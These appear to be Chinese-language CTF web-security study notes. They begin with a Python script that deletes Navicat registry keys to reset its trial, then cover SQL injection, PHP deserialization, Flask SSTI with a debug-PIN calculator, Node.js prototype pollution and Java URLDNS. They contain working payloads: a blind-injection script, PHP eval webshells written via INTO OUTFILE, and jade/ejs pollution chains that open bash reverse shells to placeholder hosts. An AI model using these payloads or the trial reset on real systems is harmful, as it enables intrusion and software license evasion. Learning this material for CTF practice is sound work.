这里给一个解决试用期的脚本
import winreg
import os
import time
from collections import deque
from typing import Any
# root
HKEY_CURRENT_USER = winreg.HKEY_CURRENT_USER
# key path
PREMIUM_PATH = r'Software\PremiumSoft'
CLSID_PATH = r'Software\Classes\CLSID'
def get_sub_keys(root: Any, reg_path: str) -> list:
"""This function will retrieve a list of sub-keys under the path
of `root` + `reg_path`.
Args:
root(Any): Root registry.
reg_path(str): The relative specific path under the root registry.
Returns:
The list of sub-keys.
"""
key_result = winreg.OpenKeyEx(root, reg_path)
i: int = 0
sub_keys_list: list = list()
while True:
try:
sub_keys = winreg.EnumKey(key_result, i)
sub_keys_list.append(sub_keys)
i += 1
except Exception as e:
break
return sub_keys_list
def get_all_keys(root: Any, key_path: str) -> list:
"""Get the list of absolute path of all entries under the
specified path through the deque.
Args:
root(Any): Root registry.
key_path(str): The relative specific path under the root registry.
Returns:
A list of all entries under the keys.
"""
all_keys_list: list = list()
qeque = deque()
qeque.append(key_path)
while len(qeque) != 0:
sub_key_path = qeque.popleft()
for item in get_sub_keys(root, sub_key_path):
item_path = os.path.join(sub_key_path, item)
if len(get_sub_keys(root, item_path)) != 0:
qeque.append(item_path)
all_keys_list.append(item_path)
else:
all_keys_list.append(item_path)
return all_keys_list
def main():
"""The entry function to be executed.
Returns:
None
"""
clsid_all_keys_list = get_all_keys(HKEY_CURRENT_USER, CLSID_PATH)
premium_all_keys_list = get_all_keys(HKEY_CURRENT_USER, PREMIUM_PATH)
premium_sub_keys_list = [os.path.join(PREMIUM_PATH, item) for item in get_sub_keys(HKEY_CURRENT_USER, PREMIUM_PATH)]
print(f"premium_sub_keys_list: {premium_sub_keys_list}")
for clsid_item in clsid_all_keys_list:
if "Info" in clsid_item:
clsid_item_prefix = os.path.dirname(clsid_item)
print(f"# Info item: {clsid_item}")
winreg.DeleteKeyEx(HKEY_CURRENT_USER, clsid_item)
winreg.DeleteKeyEx(HKEY_CURRENT_USER, clsid_item_prefix)
# The outermost folder is not deleted.
for premium_item in reversed(premium_all_keys_list):
if "Servers" in premium_item:
print(f"Tips: Servers => {premium_item} will not be deleted.")
pass
elif premium_item in premium_sub_keys_list:
print(f"Tips: Servers => {premium_item} will not be deleted.")
pass
else:
winreg.DeleteKeyEx(HKEY_CURRENT_USER, premium_item)
if __name__ == "__main__":
print("Start to delete registry...")
main()
print("Task done.", "Windows will closed after 5 seconds...", sep="\n")
for i in range(5):
time.sleep(1)
print("*" * (i + 1))
接下来就可以进行命令终端,测试查询语句了
- 联合查询语句,可以查询到其他表的数据,只要列数一致
limit语句限制查询结果
select * from user union select 1,2,3 limit 1,2;
限制查询第二条记录
利用这一点,如果我们把2换成(user())就可以看到用户名,同样的道理,如果知道表的结构,就可以用类似select password from user where name='admin’这样的语句来查看信息
如果是字符型sql语句,就需要用前面引号,后面注释的方式绕过,sql采用#注释,在url编码里是%23
- 查所有表名
select group_concat(table_name) from information_schema.tables where table_schema=database();
- 查表的列名
select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database();
- 查具体信息
select concat(name,password) from user where id=1;
不知道id的情况下就用group_concat()
PHP反序列化基础知识
序列化:将对象转化为一个可传输的字符串,serialize()
反序列化:将字符串重新转化为对象
只有类的属性可以序列化,方法不可以
如果属性权限为private,那么序列化后,存储的属性名字为%00+类名+%00+属性名
如果属性权限为protected,那么序列化后,存储的属性名字为%00+*+%00+属性名
<?php
类的属性可以是类
class ctf{
public $name;
}
class user{
public $type='vip';
}
$c=new ctf();
$c->name=new user();
echo $c->name->type;
魔术方法:在序列化和反序列化过程中自动调用的方法
1. _sleep()方法在序列化时自动调用
2. _wakeup()方法在反序列化时自动调用
3. 反序列化时自动调用_destruct析构方法,方法内恶意代码也会被执行
4. 执行类不存在的方法时自动调用_call方法,执行不存在的static方法时会调用_callstatic()方法
5. _get方法在访问不存在属性时自动调用,_set方法在写入不存在属性时自动调用
6. _isset()方法和_unset()方法
7. _tostring()方法,把对象和字符串拼接或者当字符串用时自动调用
8. _invoke()方法,当类的实例被当作函数调用
9. __set_state 方法,文档中说执行 var_export时自动调用
10. __debugInfo 方法的属性修饰符,执行var_dump时自动调用
11. __clone方法,当使用clone关键字 ,clone一个对象时,会自动调用
什么是 __destruct()
方法?
__destruct()
是 PHP 中的一个魔术方法(magic method),它用于在对象销毁时自动执行一些清理操作,比如释放资源或关闭数据库连接。这个方法会在对象生命周期结束时自动调用,无需手动触发。
何时触发 __destruct()
方法?
__destruct()
方法在以下情况下被自动调用:
- 对象被销毁时:当对象不再被使用时,PHP 会自动调用
__destruct()
。 - 脚本结束时:当脚本执行结束时,所有未销毁的对象都会调用
__destruct()
。 - 手动销毁对象:当调用
unset()
或者赋值null
给对象时,__destruct()
会被触发。
用途:
- 释放资源:比如关闭数据库连接、关闭文件句柄、释放内存等。
- 清理工作:可以用于日志记录、清理临时文件等。
语法示例:
class MyClass {
public function __construct() {
echo "对象创建了!\n";
}
public function __destruct() {
echo "对象销毁了!\n";
}
}
$obj = new MyClass(); // 输出:对象创建了!
unset($obj); // 输出:对象销毁了!
反序列化漏洞利用
前提条件
- 存在反序列化提交的入口
- 有被反序列化的类的魔术方法
一些绕过策略
绕过__wakeup函数
条件:
- php5至php5.6.25 之间的版本可以绕过
- php7到php7.0.10 直接的版本可以绕过
绕过方法:
反序列化字符串中表示属性数量的值大于大括号内实际属性的数量时 ,wakeup方法会被绕过
绕过正则匹配
参数有过滤,不让输入O:数字的形式,试图防止反序列化某个对象
O:数字 改为 O:+数字
就可以绕过上面的O:数字 过滤
绕过相等逻辑判断
eg $a->name=&$b
采用&符号,使得a的值与b的值恒相等
利用大S的ascll码绕过
大写S可以支持ascll值的字符,可以借助这个特性绕过一些被过滤的字符
O:8:"backdoor":1:{s:4:"name";s:10:"phpinfo();";}
O:8:"backdoor":1:{S:4:"n\97me";s:10:"phpinfo();";}
反序列化字符逃逸
在一些关键词被替换后,描述中的字符数量是按照未替换之前的字符来计算,当替换后字符数量大于描述数量时,就可以逃逸出一些字符
高级反序列化
phar反序列化
什么是 PHAR 文件?
PHAR(PHP Archive)文件是一种将多个 PHP 文件、资源和其他数据打包成一个单一的归档文件的格式。它类似于 .tar
或 .zip
文件,允许将整个 PHP 应用或库打包为一个文件,方便分发和部署。
特点
- 自包含:PHAR 文件可以包含 PHP 脚本和其他资源(如图片、配置文件等),可以作为一个独立的文件运行。
- 可执行:PHAR 文件可以像普通的 PHP 脚本一样执行,通过
php archive.phar
来运行。 - 压缩支持:PHAR 文件支持压缩,可以通过
.tar
,.gzip
或.bzip2
等格式进行压缩。
$phar->setmetadata($h);
metadata可以放一个类实例,生成phar后,会将这个类实例序列化字符串放到phar文件内,当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
include
file_get_contents
file_put_contents
.use.ini
等与文件相关的函数都可以包含phar协议,从而自动调用其魔术方法
phar协议哪里使用的多?
- 存在文件上传点
- 能找到file_exists()等文件读取函数,通过控制phar://头,就能解析phar包来自动进行反序列化
session反序列化
-
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
-
session 是可以放字符串,数字,也可以放对象
- session里面存放对象时,会自动进行序列化,存放序列化后的字符串
- session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法
u|O:4:“user”:2:{s:8:“username”;N;s:8:“password”;N;} 属于php处理器
以数组类型来存,属于php_serialize处理器
如果用php_serialize处理器来存,就可以在username中注入|,但是如果用php处理器来取时,就会把|右边的内容进行反序列化,反序列化之后就会调用恶意类的实例,在销毁时就会调用析构方法
函数特性
匹配数组报错
以此为例,如果传入参数是一个数组,则preg_match()函数报错返回0,完成绕过,而intval()函数只关心数组的元素数量,其中有元素则返回1,无元素则返回0.
同样的道理,MD5函数在处理数组时会报null
payload:a[]1=&b[]=2
注意是post请求
进制转换绕过
- 接下来是类似的原理,但是需要绕过判断而让函数正常执行,显然数组匹配不行,那么有没有其他方法呢?
继续了解intval函数,发现intval($num,0)是将num转为十进制形式,而num在与4476做判断时,不会自动进行进制的转换,利用这一点采取十六进制即可绕过 - 在此基础上,如果我们绕过的限制继续增加
- 字符被禁用,所以十六进制不可行,采用八进制010574,但是strpos会返回字符串中第一个值为0的字符的位置,如果第一个字符是0,取非后变成1,将无法完成绕过,因此我们采取在八进制前加上空格
payload:%20010754
正则表达式匹配换行
在这个例子中,我们在第一个if中需要从开头到结尾是php,i为不区分大小写,m为每一行都要进行匹配检测,只要其中一行满足即可,再第二个if中,我们只看第一行满不满足,所以可以基于此特性在第一行构造
cmd=f%0aphp
%0a是换行符的url编码形式
绝对路径绕过
直接给flag.php会被过滤,我们猜测flag所在的绝对路径
\var\www\html\flag.php
这样在进行比较时能顺利完成绕过
弱类型语言隐式转换
核心概念
PHP 是 弱类型语言(动态类型),意味着变量的数据类型 不会固定,且在不同操作中会自动隐式转换类型。字符串和整数比较时,PHP 会先将字符串转换为整数,再进行数值比较。
转换规则
当字符串和整数比较时,PHP 会按照以下规则处理字符串:
- 从左到右扫描字符串,直到遇到第一个非数字字符为止
- 提取前面的数字部分转换为整数
- 如果没有数字部分,则转换为 0
由此我们知道,传入2.php跟传入2会产生相同的效果
运算符优先级
看似需要三个变量值都为数字,实际上在判断完v1之后赋值运算就结束了,涉及到php运算符优先级的问题
另外一个问题在于v2中不能含有;而v3中必须含有;
解决方案:用?>代替; 用注释符除去冗余信息
payload:v1=1&v2=system(‘tac ctf*’)/&v3=/;
继续看,过滤程度加深,学习一种新方法
echo new ReflectionClass('ctfshow');
通过反射类查看ctfshow类的具体信息
开始构造
v1=1&v2=echo new ReflectionClass&v3=;
sql注入知识学习
注释的两种形式
- #号,url编码用%23替代
- --空格
字符型注入
注入字符被引号包裹,需要采取一定的策略绕过,包括or截断,前面引号后面注释等
//eq:拼接sql语句查找指定ID用户
$sql = "select username,password from user
where username !='flag' and id = '".$_GET['id']."' limit 1;";
显然需要传入id,假设传入id=1,那么我们得到的效果就是id=‘1’,所以在这里需要构造语句来达到查询效果
在sql语句中,and运算符的优先级比or高,构造id=-1使username!='flag’失效,再构造or username='flag’达到查询效果。
payload:id=-1’ or username='fla
如果返回逻辑继续优化,我们就需要用常规联合查询的步骤走
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
首先,通过排序逻辑判断列数
id=1 order by 2(依据第二列排序,这个数字逐渐增加,直到报错为止,得到列数)
select 1,database() 得到数据库名称
select group_concat(table_name) from information_schema.tables where table_schema=database();得到表名
select (select group_concat(column_name) from information_schema.columns where table_name=‘ctfshow_user’),database() 得到列名
select (select group_concat(password) from ctfshow_web.ctfshow_user2),database()%23 拿具体信息
在无过滤题目中,可以采取写入一句话木马再蚁剑连接的形式
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"
万能密码
假设我们的登录逻辑是user=‘a’ and password=‘b’,and逻辑的优先级比or高,所以如果前面的登录密码输错,那么一定是0,0 or 1的结果为1,所以就产生了万能密码,当然,在现在的网站中绝大部分都不会有这样的漏洞
‘or 1=1--
布尔盲注
注入没有明显的返回结果,注入成功页面正常,注入失败页面报错
猜测脚本
import requests
url = "http://127.0.0.1/login.php"
string = "abcdefghijklmnopqrstuvwxyz0123456789";
password = ""
for i in range(10):
for s in string:
data={
"username":f"xxx' or if(substr((select password from user where id = 1),{i+1},1)='{s}',1,0)#",
"password":"ctfshow"
}
response = requests.post(url=url,data=data)
if "登录成功" in response.text:
password+=s
break
else:
print(f"正在尝试第{i+1}位字符是否为{s}")
print("password is "+password)
报错注入
报错会返回信息,利用这一点拿到信息
updatexml函数强制报错,并可执行语句,带出语句的查询结果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123
类似的,采用整数溢出报错,不存在函数报错等等也能达到同样的效果
堆叠注入
多个;号多个注入语句
拼接法绕过
eg:@a=sele,@b=ct,@payload=@a+@b
时间盲注
可以执行sql注入,但是不知道注入结果,甚至不知道注入了没
- sleep函数获取延时信息
- 笛卡尔积查询(查询大量数量达到一定时间的效果)
- get_lock()函数延时法,针对数据库的长连接有效(php每次用完后就会断开连接,java维护数据库连接池,实现长连接)
二次注入
无法直接注入,但是可以把要注入的数据先放到数据库中,其他地方引用数据库中的的数据拼接语句时不再进行过滤
小技巧
表示数据时可以采用十六进制形式
无过滤题目可以采用写入shell,再蚁剑连接查看数据库
1 union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
基础知识
python的模块引用,优先引用当前目录下的模块,比如from pwn import pwn,如果脚本的名字是pwn.py,会自己引用自己,从而报错
r’a\nbb’,原封不动输出,取消转义
匿名函数:lambda表达式,x=lambda a,b:a+b,x(3,3)实现函数调用
flask:python的一个中间件,提供http服务
- static作为flask默认的静态文件目录,在访问时不会通过路由解析,而是直接通过文件读取
- flask在进行渲染时(相当于格式化字符串,把想要的内容放进{}中),此时可以解析html代码,也可以通过特殊函数将传入的字符串当作python脚本解析
SSTI
利用条件
- 渲染的字符串可控,不被过滤
- 利用render_template_string函数参数可控,或者部分可控
- render_template 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法
- render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析
验证SSTI是否存在
- {{2*2}}看是否有计算结果
- {{config}}看能不能看到配置项
验证console码
如果服务器开启调试,就可以进入到console界面,输入正确的pin码就可以执行python语,如果有可以进行文件读取的点,就可以拼接出pin码
计算PIN码,需要private_bits 和public_bits
分别需要确定的是:
- python运行的脚本名
- 固定值 flask.app
- 固定值 Flask
- 当前脚本运行的绝对路径 可以从报错获取
- uuid.getnode
- machine_id
import hashlib
from itertools import chain
def getPIN(public_bits,private_bits):
rv = None
num = None
h = hashlib.sha1()
for bit in chain(public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
if __name__ == "__main__":
public_bits=[
'Administrator',
'flask.app',
'Flask',
'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py'
]
private_bits=[
'197975952026825','5d744fd6-d3af-4dec-83f4-04043f200c3c'
]
PIN = getPIN(public_bits,private_bits)
print(PIN)
linux下
getNode读取的文件 /sys/class/net/eth0/address,需要将其转换为十进制
machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 整理后 拼接
SSTI类引用机制
字符串,列表,元组等类型都有自己所属的类,比如字符串,通过"".__class__拿到str类,再通过.__base__拿到object对象,相当于去到二叉树的根节点,通过这个结点可以向下找到其他有用类,比如.__subclass__拿到子类,假如我们已经拿到os类,就可以调用os类的一些方法
_init_._globals_[‘popen’](‘calc’) 调用os类的popen方法,执行calc参数
过滤的绕过
.被过滤
可将.class替换为[‘class’]
下划线被过滤
set a =(()|select|string|list).pop(24),此时a就是下划线
十六进制\x5f绕过
中括号被过滤
采用._getitem_(132)替代中括号
过滤了{{
采用{%绕过
过滤了单引号或者双引号
采用传参绕过
_init_._globals_[request.args.a](request.args.b).read()
过滤了数字
采用字典绕过,构造出1 {{(dict(e=a)|join|count)}},还可以使用全角数字绕过
关键字被过滤
采用拼接法绕过
基础知识
nodejs发布于2008,是chrome v8引擎下的JavaScript运行环境,所有浏览器都支持js,同样js也只能操控浏览器页面的内容,但不能调用操作系统的api和访问操作系统的文件系统,而nodejs可以起到这样的作用
标记替换数据
Node常见的模板
express 渲染模板,与render_template 有点类似
jade的模板 #{username}
ejs的模板语法 <%=usenrame %>
告诉引擎要在哪里替换数据
原型污染
子类通过__protp__执行父类,可以给父类增加没有的属性
jade模板污染链
{
"__proto__": {
"__proto__": {
"type": "Block",
"nodes": "",
"compileDebug": 1,
"self": 1,
"line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-shell.com/3389 0>&1\"')"
}
}
}
ejs的模板污染
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}
Java部分
后续Java的部分看的头晕(语言基础不好,这里给一些学习资源推荐吧)
java安全仓库
白日梦组长/哔哩哔哩
基础知识
java的web基于severlet
JAVA序列化与反序列化
类要能序列化需要满足的条件:
- 实现java.io.Serializeble接口
- 该类的所有属性必须都是可序列化,如果有一个属性是不可序列化的,那么这个属性必须注明是短暂的
漏洞利用条件:
3. 有反序列化接口,能够提交序列化的数据,会自动调用对应类的readObject方法
4. 有可以利用的类 readObject通过跳板,最终可以实现文件读取、写入或者执行
user = (User) objectInputStream.readUnshared();
当不允许反序列化漏洞的类,可以反序列化子类,也可以反序列化父类
java反序列化总结:
-
需要有1个提交反序列化字节流的地方
-
有可以被利用的类,存在readObject方法
-
类反序列化后,类实例已不再关注,我们重点是执行了readObject方法
URLDNS链
一句话总结:
不需要其他依赖,原生java库,支持反序列化后,触发一次dns请求
HashMap
存放键值对的集合
为了验证键有没有重复,会对键 进行取哈希值操作
hashCode 相同,就认为集合里面有这个键了,为了避免一个键对应多个值,所以会覆盖
URLDNS链
利用两个类
HashMap 和URL 类
HashMap存在 readObject方法,里面调用了 hash方法,处理自己的key
hash方法,调用了key的hashCode方法
当我们传入的KEY是URL对象的时候,就会调用URL对象的hashCode
URL类的hashCode方法,只要自己的hashCode不是-1 ,就会调用自己handler属性的hashCode方法
handler是URLStreamHandler类,它的hashCode方法
调用了getHostAddress方法
调用了URL类的getHostAddress方法
最终调用了 InetAddress.getByName(host); 实现了一次DNS请求
利用点:
1 验证反序列化漏洞存在 ,适合poc用
2 判断对方服务器是否出网